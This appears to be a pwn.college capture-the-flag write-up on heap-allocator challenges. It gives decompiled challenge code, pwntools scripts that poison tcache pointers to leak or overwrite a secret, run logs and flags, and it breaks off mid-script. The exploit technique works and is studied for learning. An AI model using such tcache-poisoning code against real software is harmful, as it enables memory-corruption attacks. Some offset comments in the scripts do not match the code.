[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x3c2cd350
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3c2cd350 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd350 | 0 | 0x91 (P) | (nil) | 0x3c2cd010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x3c2cd350 | 0x3c2cd010 |
| 0x3c2cd350 | 0 | 0x91 (P) | (nil) | 0x3c2cd010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x429964 | 0x3c2cd000 |
| 0x429964 | 0 | 0 (NONE) | 0x65656f6c6b6a6461 | 0x7165656a7268696e |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x3c2cd2c0
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x429964 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x429964 | 0 | 0 (NONE) | 0x65656f6c6b6a6461 | 0x7165656a7268696e |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 1: b'adjkloee'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x65656f6c6b6a6461 | 0x3c2cd010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x3c2cd2c0 | KEY: 0x3c2cd010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x3c2cd2c0 | 0 | 0x91 (P) | 0x42996c | 0x3c2cd000 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x3c2cd2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[2] = malloc(128)
[*] allocations[2] = 0x3c2cd3e0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 2: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{8h25mcw-m2mhr_jLouARLydGJix.01M4MDL4ITM0EzW}
Seeking Substantial Secrets (Hard)
hacker@dynamic-allocator-misuse~seeking-substantial-secrets-hard:/$ /challenge/seeking-substantial-secrets-hard
###
### Welcome to /challenge/seeking-substantial-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
The solution is the same as the easy one, only difference being that we have to find the address of the secret value.
Binary Analysis
/challenge/seeking-substantial-secrets-hard :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v6; // [rsp+30h] [rbp-120h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_427051[i] = rand() % 26 + 97;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_40214C);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 114u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 130u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 142u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 154u, "main");
v3 = malloc_usable_size(ptr[v9]);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr[v9]);
puts(byte_40214C);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( !memcmp(choice, byte_427051, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Exploit
~/script.py
from pwn import *
p = process("/challenge/seeking-substantial-secrets-hard", level='error')
secret_addr = 0x427051
# --- LEAK PART 1 (First 8 Bytes) ---
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the first half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
# Use ljust to ensure we have 8 bytes even if puts hits a null early
p.recvuntil(b"Data: ")
part1 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 1: {part1}")
print(p.recvuntil(b"quit): ").decode())
# --- LEAK PART 2 (Second 8 Bytes) ---
# We free Index 0 (real heap) to reuse the bin. We DO NOT free Index 1 (secret chunk's first half).
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison Index 0 to point to the second half of the secret value
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr + 8))
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"puts")
p.sendline(b"1")
p.recvuntil(b"Data: ")
part2 = p.recvline().strip().ljust(8, b"\x00")[:8]
print(f"Part 2: {part2}")
print(p.recvuntil(b"quit): ").decode())
# --- SUBMIT ---
full_secret = part1 + part2
p.sendline(b"send_flag")
p.sendline(full_secret)
print(p.recvuntil(b"}").decode())
phacker@dynamic-allocator-misuse~seeking-substantial-secrets-hard:/$ python ~/script.py
###
### Welcome to /challenge/seeking-substantial-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 1: b'zhffdxpe'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Part 2: b'\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{Y1obx4BDBPfdkgWr6FXdTlE7-n5.0FN4MDL4ITM0EzW}
Seeking Spanless Secrets (Easy)
Binary Analysis
/challenge/seeking-spanless-secrets-easy :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_42230A[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_42230A);
puts("This address intentionally uses `whitespace-armoring` (notice the 0x0a in the address).\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035D1);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 279u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 297u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 310u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
v10 = atoi(choice);
if ( v10 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 323u, "main");
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035D1);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D1);
if ( !memcmp(choice, byte_42230A, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Exploit
~/script.py
from pwn import *
p = process("/challenge/seeking-spanless-secrets-easy")
# Setup our target and math
# Secret is at 0x42230a
# target_addr is 0x4222f0 (Aligned and no 0x0a whitespace)
secret_addr = 0x42230a
target_addr = secret_addr - 16
offset = secret_addr - target_addr # 26 bytes
new_secret = b"A" * 16
# Build payload
payload = b"B" * offset
payload += new_secret
print(f"[*] Targeting aligned address: {hex(target_addr)}")
# Allocate two chunks
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Free them to populate Tcache
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison the 'next' pointer
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(target_addr))
print(p.recvuntil(b"quit): ").decode())
# Malloc twice to get the chunk at our target address
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Overwrite the secret area
# Junk padding + our controlled secret
p.sendline(b"scanf")
p.sendline(b"1")
p.sendline(payload)
print(p.recvuntil(b"quit): ").decode())
# Send the flag with our known secret
p.sendline(b"send_flag")
p.sendline(new_secret)
# Print final result
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-spanless-secrets-easy:/$ python ~/script.py
[+] Starting local process '/challenge/seeking-spanless-secrets-easy': pid 8821
[*] Targeting aligned address: 0x4222fa
###
### Welcome to /challenge/seeking-spanless-secrets-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, there is a secret stored at 0x42230a.
This address intentionally uses `whitespace-armoring` (notice the 0x0a in the address).
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[0] = malloc(128)
[*] allocations[0] = 0x15a6a2c0
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[1] = malloc(128)
[*] allocations[1] = 0x15a6a350
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[1])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x15a6a350 | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x15a6a350 | 0 | 0x91 (P) | (nil) | 0x15a6a010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x15a6a2c0 | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x15a6a2c0 | 0 | 0x91 (P) | 0x15a6a350 | 0x15a6a010 |
| 0x15a6a350 | 0 | 0x91 (P) | (nil) | 0x15a6a010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%136s", allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 2 | HEAD: 0x15a6a2c0 | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x15a6a2c0 | 0 | 0x91 (P) | 0x4222fa | 0x15a6a000 |
| 0x4222fa | 0 | 0 (NONE) | (nil) | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[2] = malloc(128)
[*] allocations[2] = 0x15a6a2c0
+====================+========================+==============+============================+============================+
| TCACHE BIN #7 | SIZE: 121 - 136 | COUNT: 1 | HEAD: 0x4222fa | KEY: 0x15a6a010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x4222fa | 0 | 0 (NONE) | (nil) | (nil) |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] allocations[3] = malloc(128)
[*] allocations[3] = 0x4222fa
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] scanf("%0s", allocations[3])
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{UXoETFJzikCNvh66nGl1nVtHrJT.0VN4MDL4ITM0EzW}
Seeking Spanless Secrets (Hard)
Binary Analysis
/challenge/seeking-spanless-secrets-hard :: main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v6; // [rsp+30h] [rbp-120h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_42580A[i] = rand() % 26 + 97;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_40214C);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v6 = atoi(choice);
if ( v6 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 114u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
size = atoi(choice);
ptr[v6] = malloc(size);
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 130u, "main");
free(ptr[v7]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 142u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 154u, "main");
v3 = malloc_usable_size(ptr[v9]);
sprintf(choice, "%%%us", v3);
__isoc99_scanf(choice, ptr[v9]);
puts(byte_40214C);
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_40214C);
if ( !memcmp(choice, byte_42580A, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Exploit
~/script.py
from pwn import *
p = process("/challenge/seeking-spanless-secrets-hard")
# Setup our target and math
# Secret is at 0x42580a
# target_addr is 0x4257fa (Aligned and no 0x0a whitespace)
secret_addr = 0x42580a
target_addr = secret_addr - 16
offset = secret_addr - target_addr # 26 bytes
new_secret = b"A" * 16
# Build payload
payload = b"B" * offset
payload += new_secret
print(f"[*] Targeting aligned address: {hex(target_addr)}")
# Allocate two chunks
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Free them to populate Tcache
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit): ").decode())
# Poison the 'next' pointer
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(target_addr))
print(p.recvuntil(b"quit): ").decode())
# Malloc twice to get the chunk at our target address
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit): ").decode())
# Overwrite the secret area
# Junk padding + our controlled secret
p.sendline(b"scanf")
p.sendline(b"1")
p.sendline(payload)
print(p.recvuntil(b"quit): ").decode())
# Send the flag with our known secret
p.sendline(b"send_flag")
p.sendline(new_secret)
# Print final result
print(p.recvuntil(b"}").decode())
hacker@dynamic-allocator-misuse~seeking-spanless-secrets-hard:/$ python ~/script.py
[+] Starting local process '/challenge/seeking-spanless-secrets-hard': pid 1368
[*] Targeting aligned address: 0x4257fa
###
### Welcome to /challenge/seeking-spanless-secrets-hard!
###
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
Size:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Index:
[*] Function (malloc/free/puts/scanf/send_flag/quit):
Secret:
Authorized!
You win! Here is your flag:
pwn.college{s3p743_G7uUAFBNkhZiOvvnjaAR.0lN4MDL4ITM0EzW}
Seeking Smuggled Secrets (Easy)
Binary Analysis
/challenge/seeking-smuggled-secrets-easy
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
int i; // [rsp+2Ch] [rbp-124h]
unsigned int v7; // [rsp+30h] [rbp-120h]
unsigned int v8; // [rsp+30h] [rbp-120h]
unsigned int v9; // [rsp+30h] [rbp-120h]
unsigned int v10; // [rsp+30h] [rbp-120h]
unsigned int size; // [rsp+34h] [rbp-11Ch]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char choice[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v14; // [rsp+148h] [rbp-8h]
v14 = __readfsqword(40u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
for ( i = 0; i <= 15; ++i )
byte_429360[i] = rand() % 26 + 97;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16LL);
printf("In this challenge, there is a secret stored at %p.\n", byte_429360);
puts("If you attempt to malloc an address near where the secret is stored, it will be discarded.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_4035D4);
printf("[*] Function (malloc/free/puts/scanf/send_flag/quit): ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
if ( strcmp(choice, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v7 = atoi(choice);
if ( v7 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 279u, "main");
printf("Size: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
size = atoi(choice);
printf("[*] allocations[%d] = malloc(%d)\n", v7, size);
ptr[v7] = malloc(size);
if ( ptr[v7] >= (char *)&secret + 65536 )
{
printf("[*] allocations[%d] = %p\n", v7, ptr[v7]);
}
else
{
puts("Invalid allocation detected: discarded!");
ptr[v7] = 0LL;
}
}
if ( strcmp(choice, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v8 = atoi(choice);
if ( v8 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 303u, "main");
printf("[*] free(allocations[%d])\n", v8);
free(ptr[v8]);
}
if ( strcmp(choice, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v9 = atoi(choice);
if ( v9 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 316u, "main");
printf("[*] puts(allocations[%d])\n", v9);
printf("Data: ");
puts((const char *)ptr[v9]);
}
if ( strcmp(choice, "scanf") )
break;
printf("Index: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
v10 = atoi(choice);
if ( v10 > 15 )
__assert_fail("allocation_index < 16", "<stdin>", 329u, "main");
if ( (unsigned int)malloc_usable_size(ptr[v10]) )
{
v3 = malloc_usable_size(ptr[v10]);
sprintf(choice, "%%%us", v3);
v4 = malloc_usable_size(ptr[v10]);
printf("[*] scanf(\"%%%us\", allocations[%d])\n", v4, v10);
__isoc99_scanf(choice, ptr[v10]);
puts(byte_4035D4);
}
}
if ( strcmp(choice, "send_flag") )
break;
printf("Secret: ");
__isoc99_scanf("%127s", choice);
puts(byte_4035D4);
if ( !memcmp(choice, byte_429360, 16uLL) )
{
puts("Authorized!");
win();
}
else
{
puts("Not authorized!");
}
}
if ( strcmp(choice, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Exploit
from pwn import *
p = process("/challenge/seeking-smuggled-secrets-easy", level='error')
# 1. Capture the target address
p.recvuntil(b"secret stored at ")
addr_hex = p.recvuntil(b".").strip(b".").decode()
secret_addr = int(addr_hex, 16)
print(f"[*] Target Secret Address: {hex(secret_addr)}")
p.sendline(b"malloc")
p.sendline(b"0")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"malloc")
p.sendline(b"1")
p.sendline(b"128")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"1")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"free")
p.sendline(b"0")
print(p.recvuntil(b"quit):").decode())
p.sendline(b"scanf")
p.sendline(b"0")
p.sendline(p64(secret_addr))
